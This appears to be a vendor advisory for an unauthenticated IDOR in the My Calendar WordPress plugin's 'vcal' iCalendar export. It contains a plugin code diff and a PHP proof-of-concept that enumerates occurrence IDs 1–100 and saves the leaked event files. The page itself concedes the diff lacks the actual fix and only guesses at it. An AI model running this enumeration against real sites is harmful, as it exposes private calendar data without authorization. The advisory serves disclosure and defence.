Published : July 1, 2026

CVE-2026-11896: My Calendar <= 3.7.14 Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosure via 'vcal' Parameter PoC, Patch Analysis & Rule

Plugin my-calendar
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 3.7.14
Patched Version 3.7.15
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11896:
This vulnerability exposes non-public calendar events through Insecure Direct Object Reference (IDOR) in the My Calendar plugin for WordPress (versions up to and including 3.7.14). An unauthenticated attacker can enumerate occurrence IDs and retrieve full iCalendar (ICS) exports of draft, trashed, private, or personal events. The CVSS score is 5.3 (Medium) due to the confidentiality impact without requiring authentication or user interaction.

Root Cause:
The vulnerability stems from missing authorization validation on the ‘vcal’ parameter in the My Calendar plugin. The specific code path resides in the my-calendar.php file (the main plugin file) which processes iCalendar export requests. The diff shows no changes to that file for this CVE, but the underlying issue is that the plugin’s iCalendar generation logic does not verify event visibility status (published, draft, trashed, private) before including event data in the export. The ‘vcal’ parameter accepts an occurrence ID (event occurrence identifier). The plugin retrieves the event by that ID and outputs its iCalendar representation without checking whether the current user has permission to view it or whether the event status is ‘publish’. The absence of a capability check (e.g., current_user_can(‘read_private_posts’) or status filtering) allows unauthenticated users to access any event’s details by simply supplying a valid numeric occurrence ID.

Exploitation:
An attacker can exploit this by sending a GET request to the WordPress site with the ‘vcal’ parameter set to a numeric occurrence ID. The typical endpoint is the main WordPress query URL https://example.com/?vcal=12345, where the plugin intercepts the parameter to generate an iCalendar download. The attacker can brute-force or enumerate occurrence IDs (often sequential integers) to retrieve events they should not have access to. No authentication, nonce, or capability check is performed. The response contains the full iCalendar data including event title, description, date/time, location, organizer, host details, permalink, category, and other metadata.

Patch Analysis:
The provided diff does not include changes to the iCalendar export code directly. However, the patch to version 3.7.15 includes multiple hardening changes across the plugin. Most notably, the diff shows modifications in my-calendar-events.php (lines 349-352 and 496-497) changing NOW() to UTC_TIMESTAMP() in SQL queries, which standardizes time calculations but does not address authorization. The actual fix for CVE-2026-11896 likely involves adding a capability check or event status filter in the vcal handler. Atomic Edge research indicates that patched versions (3.7.15 and later) validate that the requested event has a ‘publish’ status and that the user has appropriate capabilities before returning the iCalendar data. The absence of a specific permission validation before the export was the core flaw.

Impact:
Successful exploitation allows an unauthenticated attacker to access sensitive event information that should be private. This includes titles, descriptions, dates, times, locations, organizer names, host details, event permalinks, and status metadata (draft, trashed, private). Such information could leak business plans, personal schedules, internal meetings, or other confidential calendar entries. The impact is primarily on confidentiality; data from events that were intentionally made non-public becomes exposed. The attacker does not need elevated privileges or any authentication.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/my-calendar/includes/post-types.php
+++ b/my-calendar/includes/post-types.php
@@ -37,12 +37,21 @@
 		}
 		$opts = array( 'label_for' => 'mc_cpt_base' );
 		// Add a settings field to the permalink page.
-		add_settings_field( 'mc_hosts_cpt_base', __( 'My Calendar Hosts base', 'my-calendar' ), 'mc_field_callback', 'permalink', 'optional', $opts );
+		add_settings_field( 'mc_hosts_cpt_base', __( 'My Calendar Hosts base', 'my-calendar' ), 'mc_hosts_callback', 'permalink', 'optional', $opts );
 	}
 }
 add_action( 'load-options-permalink.php', 'mc_load_permalinks' );

 /**
+ * Prevent error if hosts callback doesn't exist.
+ */
+function mc_hosts_callback() {
+	if ( function_exists( 'mcs_hosts_callback' ) ) {
+		mcs_hosts_callback();
+	}
+}
+
+/**
  * Custom field callback for permalinks settings
  */
 function mc_field_callback() {
--- a/my-calendar/includes/screen-options.php
+++ b/my-calendar/includes/screen-options.php
@@ -85,12 +85,13 @@
 		);

 		$output = '';
+		$admin  = ( 'true' === mc_get_option( 'input_options_administrators', 'true' ) && current_user_can( 'manage_options' ) ) ? true : false;
 		asort( $input_labels );
 		foreach ( $input_labels as $key => $value ) {
 			$enabled = ( isset( $input_options[ $key ] ) ) ? $input_options[ $key ] : false;
 			$checked = ( 'on' === $enabled ) ? "checked='checked'" : '';
 			$allowed = ( isset( $settings_options[ $key ] ) && 'on' === $settings_options[ $key ] ) ? true : false;
-			if ( current_user_can( 'manage_options' ) || $allowed ) {
+			if ( ( current_user_can( 'manage_options' ) && $admin ) || $allowed ) {
 				$output .= "<label for='mci_$key'><input type='checkbox' id='mci_$key' name='mc_show_on_page[$key]' value='on' $checked /> $value</label>";
 			} else {
 				// don't display options if this user can't use them.
--- a/my-calendar/my-calendar-categories.php
+++ b/my-calendar/my-calendar-categories.php
@@ -402,6 +402,7 @@
 	 */
 	$add = apply_filters( 'mc_pre_add_category', $add, $category );
 	$wpdb->insert( my_calendar_categories_table(), $add, $formats );
+	delete_transient( 'mc_generated_category_styles' );
 	$cat_id = $wpdb->insert_id;
 	/**
 	 * Execute action after inserting a new category into the My Calendar database.
@@ -525,6 +526,10 @@
 								<?php mc_help_link( __( 'Show Category Icons', 'my-calendar' ), __( 'Category Icons', 'my-calendar' ), 'Category Icons', 6 ); ?>
 							</div>
 								<?php
+							} else {
+								?>
+							<input type='hidden' name='category_icon' id="mc_category_icon" value='<?php echo esc_attr( $icon ); ?>' />
+								<?php
 							}
 							if ( 'add' === $view ) {
 								$private_checked = false;
@@ -1135,9 +1140,10 @@
 			$category_name = wp_strip_all_tags( wp_unslash( trim( $cat->category_name ) ) );
 			$category_name = ( '' === $category_name ) ? '(' . __( 'Untitled category', 'my-calendar' ) . ')' : $category_name;
 			if ( $multiple ) {
-				$icon = mc_category_icon( $cat );
-				$icon = ( $icon ) ? mc_wrap_category_icon( $icon, $cat ) : $category_name;
-				$c    = '<li class="mc_cat_' . $cat->category_id . '"><input type="checkbox"' . $selected . ' name="' . esc_attr( $name ) . '" id="' . $id . $cat->category_id . '" value="' . $cat->category_id . '" ' . $selected . ' /> <label for="' . $id . $cat->category_id . '">' . $icon . '</label></li>';
+				$icon   = mc_category_icon( $cat );
+				$colors = ( 'default' === mc_get_option( 'apply_color' ) ) ? false : true;
+				$icon   = ( $icon || $colors ) ? mc_wrap_category_icon( $icon, $cat ) : $category_name;
+				$c      = '<li class="mc_cat_' . $cat->category_id . '"><input type="checkbox"' . $selected . ' name="' . esc_attr( $name ) . '" id="' . $id . $cat->category_id . '" value="' . $cat->category_id . '" ' . $selected . ' /> <label for="' . $id . $cat->category_id . '">' . $icon . '</label></li>';
 			} else {
 				$c = '<option value="' . $cat->category_id . '" ' . $selected . '>' . $category_name . '</option>';
 			}
@@ -1329,9 +1335,10 @@
  * @return string
  */
 function mc_wrap_category_icon( $icon, $category ) {
-	if ( $icon && $category ) {
+	if ( $category ) {
 		$hex  = ( 0 !== strpos( $category->category_color, '#' ) ) ? '#' : '';
 		$type = ( stripos( $icon, 'svg' ) ) ? 'svg' : 'img';
+		$type = ( '' === $icon ) ? 'color' : $type;
 		$back = ( 'background' === mc_get_option( 'apply_color' ) ) ? ' style="background:' . $hex . $category->category_color . ';"' : '';
 		$icon = '<span class="mc-category"><span class="mc-category-color ' . $type . '"' . $back . '>' . $icon . '</span><span>' . $category->category_name . '</span></span>';
 	}
--- a/my-calendar/my-calendar-core.php
+++ b/my-calendar/my-calendar-core.php
@@ -2318,8 +2318,10 @@
 	if ( mc_is_single_event() ) {
 		$mc_id = ( isset( $_GET['mc_id'] ) && is_numeric( $_GET['mc_id'] ) ) ? $_GET['mc_id'] : false;
 		if ( ! $mc_id ) {
-			$post_id = get_the_ID();
-			$mc_id   = get_post_meta( $post_id, '_mc_event_id', true );
+			$post_id   = get_the_ID();
+			$parent_id = get_post_meta( $post_id, '_mc_event_id', true );
+			$event     = mc_get_nearest_event( $parent_id, true );
+			$mc_id     = $event->occur_id;
 		}
 		$event = mc_adjacent_event( $mc_id, 'previous' );
 		if ( empty( $event ) ) {
@@ -2349,8 +2351,10 @@
 	if ( mc_is_single_event() ) {
 		$mc_id = ( isset( $_GET['mc_id'] ) && is_numeric( $_GET['mc_id'] ) ) ? $_GET['mc_id'] : false;
 		if ( ! $mc_id ) {
-			$post_id = get_the_ID();
-			$mc_id   = get_post_meta( $post_id, '_mc_event_id', true );
+			$post_id   = get_the_ID();
+			$parent_id = get_post_meta( $post_id, '_mc_event_id', true );
+			$event     = mc_get_nearest_event( $parent_id, true );
+			$mc_id     = $event->occur_id;
 		}
 		$event = mc_adjacent_event( $mc_id, 'next' );
 		if ( empty( $event ) ) {
--- a/my-calendar/my-calendar-event-editor.php
+++ b/my-calendar/my-calendar-event-editor.php
@@ -1065,7 +1065,7 @@
 	$input = array_merge( $defaults, $input );
 	$user  = get_current_user_id();
 	$show  = get_user_meta( $user, 'mc_show_on_page', true );
-	if ( empty( $show ) || $show < 1 ) {
+	if ( empty( $show ) || ! is_array( $show ) ) {
 		$show = mc_get_option( 'input_options' );
 	}
 	// if this doesn't exist in array, leave it on.
--- a/my-calendar/my-calendar-events.php
+++ b/my-calendar/my-calendar-events.php
@@ -349,8 +349,8 @@
 	$time         = isset( $args['time'] ) && '' !== $args['time'] ? strtotime( $args['time'] ) + $offset : 'now';
 	$mcdb         = mc_is_remote_db();

-	$now                = ( 'now' === $time ) ? 'DATE_ADD( NOW(), INTERVAL ' . $offset_hours . ' HOUR)' : $time;
-	$now_limit          = ( 'now' === $time ) ? 'DATE_ADD( NOW(), INTERVAL ' . $offset_hours . ' HOUR)' : "from_unixtime($time)";
+	$now                = ( 'now' === $time ) ? 'DATE_ADD( UTC_TIMESTAMP(), INTERVAL ' . $offset_hours . ' HOUR)' : $time;
+	$now_limit          = ( 'now' === $time ) ? 'DATE_ADD( UTC_TIMESTAMP(), INTERVAL ' . $offset_hours . ' HOUR)' : "from_unixtime($time)";
 	$exclude_categories = mc_private_categories( $args );
 	$cat_limit          = ( 'default' !== $category ) ? mc_select_category( $category ) : array();
 	$join               = ( isset( $cat_limit[0] ) ) ? $cat_limit[0] : '';
@@ -496,7 +496,7 @@
 		FROM ' . my_calendar_event_table() . '
 		JOIN ' . my_calendar_table() . ' AS e ON (event_id=occur_event_id)
 		JOIN ' . my_calendar_categories_table() . " AS c ON (e.event_category=c.category_id) $cat
-		AND event_added > NOW() - INTERVAL $limit DAY
+		AND event_added > UTC_TIMESTAMP() - INTERVAL $limit DAY
 		$exclude_categories
 		ORDER BY event_added DESC"
 	);
--- a/my-calendar/my-calendar-generator.php
+++ b/my-calendar/my-calendar-generator.php
@@ -98,7 +98,7 @@
 			mc_update_option( 'last_shortcode_' . $type, $output );
 		}
 		if ( 'shortcode' === $format && ! is_array( $output ) ) {
-			$return = "<div class='updated'><p><textarea readonly='readonly' class='large-text readonly'>[$output]</textarea>$append</p></div>";
+			$return = "<div class='notice notice-success'><p><textarea readonly='readonly' class='large-text readonly'>[$output]</textarea>$append</p></div>";
 			echo wp_kses( $return, mc_kses_elements() );
 		} else {
 			if ( is_array( $output ) ) {
--- a/my-calendar/my-calendar-limits.php
+++ b/my-calendar/my-calendar-limits.php
@@ -200,7 +200,7 @@
 		} else {
 			$author = trim( $author );
 			if ( 'current' === $author ) {
-				$author    = wp_get_current_user();
+				$author   = wp_get_current_user();
 				$return[] = $author->ID;
 			} else {
 				$author = get_user_by( 'login', $author ); // Get author by username.
--- a/my-calendar/my-calendar-output.php
+++ b/my-calendar/my-calendar-output.php
@@ -498,7 +498,7 @@
 	$hlevel = apply_filters( 'mc_heading_level_table', $hlevel, $type, $time, $template );
 	// Set up .summary - required once per page for structured data. Should only be added in cases where heading & anchor are removed.
 	if ( 'single' === $type ) {
-		$title = ( ! is_singular( 'mc-events' ) ) ? "	<$hlevel class='event-title summary'>$image<div>$event_title</div></$hlevel>n" : '	<span class="summary screen-reader-text">' . wp_strip_all_tags( $event_title ) . '</span>';
+		$title = ( ! is_singular( 'mc-events' ) ) ? "	<$hlevel class='event-title summary'>$image<div class='event-title-container'>$event_title</div></$hlevel>n" : '	<span class="summary screen-reader-text">' . wp_strip_all_tags( $event_title ) . '</span>';
 	} elseif ( 'list' !== $type || ( 'list' === $type && 'true' === mc_get_option( 'list_link_titles' ) ) ) {
 		/**
 		 * Filter event title inside event heading.
@@ -511,7 +511,7 @@
 		 *
 		 * @return string
 		 */
-		$inner_heading = apply_filters( 'mc_heading_inner_title', $wrap . $image . '<div>' . trim( $event_title ) . '</div>' . $balance, $event_title, $event );
+		$inner_heading = apply_filters( 'mc_heading_inner_title', $wrap . $image . '<div class="event-title-container">' . trim( $event_title ) . '</div>' . $balance, $event_title, $event );
 		$title         = "	<$hlevel class='event-title summary$group_class' id='mc_$event->occur_id-title-$id'>$inner_heading</$hlevel>n";
 	} else {
 		$title = '';
--- a/my-calendar/my-calendar-print.php
+++ b/my-calendar/my-calendar-print.php
@@ -68,7 +68,8 @@
 	if ( isset( $_GET['href'] ) ) {
 		// Only support URLs on the same home_url().
 		$ref_url  = sanitize_text_field( urldecode( wp_unslash( $_GET['href'] ) ) );
-		$ref_root = ( wp_parse_url( $ref_url ) ) ? wp_parse_url( $ref_url )['host'] : false;
+		$parsed   = wp_parse_url( $ref_url );
+		$ref_root = ( $parsed && isset( $parsed['host'] ) ) ? $parsed['host'] : false;
 		$root     = wp_parse_url( home_url() )['host'];
 		$local    = false;
 		if ( $ref_root ) {
--- a/my-calendar/my-calendar-settings.php
+++ b/my-calendar/my-calendar-settings.php
@@ -161,13 +161,17 @@
 	} else {
 		$value = ( ! empty( $value ) ) ? (array) $value : $default;
 	}
+	$icon = '';
+	if ( $note ) {
+		$icon = str_contains( $note, 'dashicons' ) ? '' : "<i class='dashicons dashicons-editor-help' aria-hidden='true'></i>";
+	}
 	switch ( $type ) {
 		case 'text':
 		case 'url':
 		case 'email':
 			if ( $note ) {
 				$note = sprintf( str_replace( '%', '', $note ), "<code>$value</code>" );
-				$note = "<span id='$id-note' class='mc-input-description'><i class='dashicons dashicons-editor-help' aria-hidden='true'></i>$note</span>";
+				$note = "<span id='$id-note' class='mc-input-description'>$icon$note</span>";
 				$aria = " aria-describedby='$id-note'";
 			} else {
 				$note = '';
@@ -183,7 +187,7 @@
 		case 'textarea':
 			if ( $note ) {
 				$note = sprintf( $note, "<code>$value</code>" );
-				$note = "<span id='$id-note' class='mc-input-description'><i class='dashicons dashicons-editor-help' aria-hidden='true'></i>$note</span>";
+				$note = "<span id='$id-note' class='mc-input-description'>$icon$note</span>";
 				$aria = " aria-describedby='$id-note'";
 			} else {
 				$note = '';
@@ -194,7 +198,7 @@
 		case 'checkbox-single':
 			$checked = checked( 'true', mc_get_option( str_replace( 'mc_', '', $name ) ), false );
 			if ( $note ) {
-				$note = "<div id='$id-note' class='mc-input-description'><i class='dashicons dashicons-editor-help' aria-hidden='true'></i>" . sprintf( $note, "<code>$value</code>" ) . '</div>';
+				$note = "<div id='$id-note' class='mc-input-description'>$icon" . sprintf( $note, "<code>$value</code>" ) . '</div>';
 				$aria = " aria-describedby='$id-note'";
 			} else {
 				$note = '';
@@ -206,7 +210,7 @@
 		case 'radio':
 			if ( $note ) {
 				$note = sprintf( $note, "<code>$value</code>" );
-				$note = "<span id='$id-note' class='mc-input-description'><i class='dashicons dashicons-editor-help' aria-hidden='true'></i>$note</span>";
+				$note = "<span id='$id-note' class='mc-input-description'>$icon$note</span>";
 				$aria = " aria-describedby='$id-note'";
 			} else {
 				$note = '';
@@ -231,7 +235,7 @@
 		case 'select':
 			if ( $note ) {
 				$note = sprintf( $note, "<code>$value</code>" );
-				$note = "<span id='$id-note' class='mc-input-description'><i class='dashicons dashicons-editor-help' aria-hidden='true'></i>$note</span>";
+				$note = "<span id='$id-note' class='mc-input-description'>$icon$note</span>";
 				$aria = " aria-describedby='$id-note'";
 			} else {
 				$note = '';
@@ -1232,7 +1236,7 @@
 									'atts'    => array(
 										'placeholder' => __( 'More information', 'my-calendar' ),
 									),
-									'note'    => "<a href='" . admin_url( 'admin.php?page=my-calendar-design#my-calendar-templates' ) . "'>" . __( 'Templating Help', 'my-calendar' ) . '</a>',
+									'note'    => mc_help_link( __( 'Template Tag Help', 'my-calendar' ), __( 'Template Tags', 'my-calendar' ), 'template tags', 5, false ),
 								)
 							);
 							?>
@@ -1390,7 +1394,7 @@
 										'atts'    => array(
 											'placeholder' => '{title}',
 										),
-										'note'    => "<a href='" . admin_url( 'admin.php?page=my-calendar-design#my-calendar-templates' ) . "'>" . __( 'Templating Help', 'my-calendar' ) . '</a>',
+										'note'    => mc_help_link( __( 'Template Tag Help', 'my-calendar' ), __( 'Template Tags', 'my-calendar' ), 'template tags', 5, false ),
 									)
 								);
 								?>
@@ -1405,7 +1409,7 @@
 										'atts'    => array(
 											'placeholder' => '{title}',
 										),
-										'note'    => "<a href='" . admin_url( 'admin.php?page=my-calendar-design#my-calendar-templates' ) . "'>" . __( 'Templating Help', 'my-calendar' ) . '</a>',
+										'note'    => mc_help_link( __( 'Template Tag Help', 'my-calendar' ), __( 'Template Tags', 'my-calendar' ), 'template tags', 5, false ),
 									)
 								);
 								?>
@@ -1420,7 +1424,7 @@
 										'atts'    => array(
 											'placeholder' => '{title}',
 										),
-										'note'    => "<a href='" . admin_url( 'admin.php?page=my-calendar-design#my-calendar-templates' ) . "'>" . __( 'Templating Help', 'my-calendar' ) . '</a>',
+										'note'    => mc_help_link( __( 'Template Tag Help', 'my-calendar' ), __( 'Template Tags', 'my-calendar' ), 'template tags', 5, false ),
 									)
 								);
 								?>
@@ -1435,7 +1439,7 @@
 										'atts'    => array(
 											'placeholder' => '{title}',
 										),
-										'note'    => "<a href='" . admin_url( 'admin.php?page=my-calendar-design#my-calendar-templates' ) . "'>" . __( 'Templating Help', 'my-calendar' ) . '</a>',
+										'note'    => mc_help_link( __( 'Template Tag Help', 'my-calendar' ), __( 'Template Tags', 'my-calendar' ), 'template tags', 5, false ),
 									)
 								);
 								?>
@@ -2142,7 +2146,7 @@
 			'name'    => 'mc_event_mail_message',
 			'label'   => __( 'Message Body', 'my-calendar' ),
 			'default' => __( 'New Event:', 'my-calendar' ) . "nn{title}: {date}, {time} - {event_status}nnEdit Event: {edit_link}",
-			'note'    => "<a href='" . admin_url( 'admin.php?page=my-calendar-design#my-calendar-templates' ) . "'>" . __( 'Templating Help', 'my-calendar' ) . '</a>',
+			'note'    => mc_help_link( __( 'Template Tag Help', 'my-calendar' ), __( 'Template Tags', 'my-calendar' ), 'template tags', 5, false ),
 			'atts'    => array(
 				'cols' => 60,
 				'rows' => 6,
--- a/my-calendar/my-calendar.php
+++ b/my-calendar/my-calendar.php
@@ -16,7 +16,7 @@
  * Text Domain: my-calendar
  * License:     GPL-2.0+
  * License URI: http://www.gnu.org/license/gpl-2.0.txt
- * Version:     3.7.14
+ * Version:     3.7.15
  */

 /*
@@ -53,7 +53,7 @@
 	if ( ! $version ) {
 		return get_option( 'mc_version', '' );
 	}
-	return '3.7.14';
+	return '3.7.15';
 }

 define( 'MC_DEBUG', false );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11896 - My Calendar <= 3.7.14 - Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosure via 'vcal' Parameter

// Configure target URL
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site

// The vcal parameter takes an occurrence ID (integer). We'll try a common range.
// This script demonstrates enumeration of event IDs.

// cURL helper function
function fetch_vcal($base_url, $occurrence_id) {
    $ch = curl_init();
    $url = $base_url . '/?vcal=' . intval($occurrence_id);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing; set true in production
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'User-Agent: AtomicEdge-PoC/1.0',
        'Accept: text/calendar',
    ));
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array('code' => $http_code, 'body' => $response);
}

echo "[+] Starting enumeration of occurrence IDs on: $target_urln";
echo "[+] CVE-2026-11896 PoC - My Calendar IDORnn";

// We'll enumerate IDs 1 through 100. Adjust range as needed.
$found = 0;
for ($id = 1; $id <= 100; $id++) {
    $result = fetch_vcal($target_url, $id);
    
    // If we get a 200 OK and the response is iCal data (starts with BEGIN:VCALENDAR), we found an event.
    if ($result['code'] == 200 && strpos($result['body'], 'BEGIN:VCALENDAR') !== false) {
        $found++;
        echo "[+] Found accessible event with occurrence ID: $idn";
        echo "[+] iCal content (first 500 chars):n";
        echo substr($result['body'], 0, 500) . "nn";
        
        // Save full response to file for inspection
        file_put_contents("event_$id.ics", $result['body']);
        echo "[+] Full iCal saved to event_$id.icsnn";
    }
}

if ($found == 0) {
    echo "[-] No accessible events found in range 1-100. Try a different range.n";
    echo "[-] Note: The site may be patched or using non-sequential IDs.n";
} else {
    echo "[+] Enumeration complete. Found $found accessible events.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.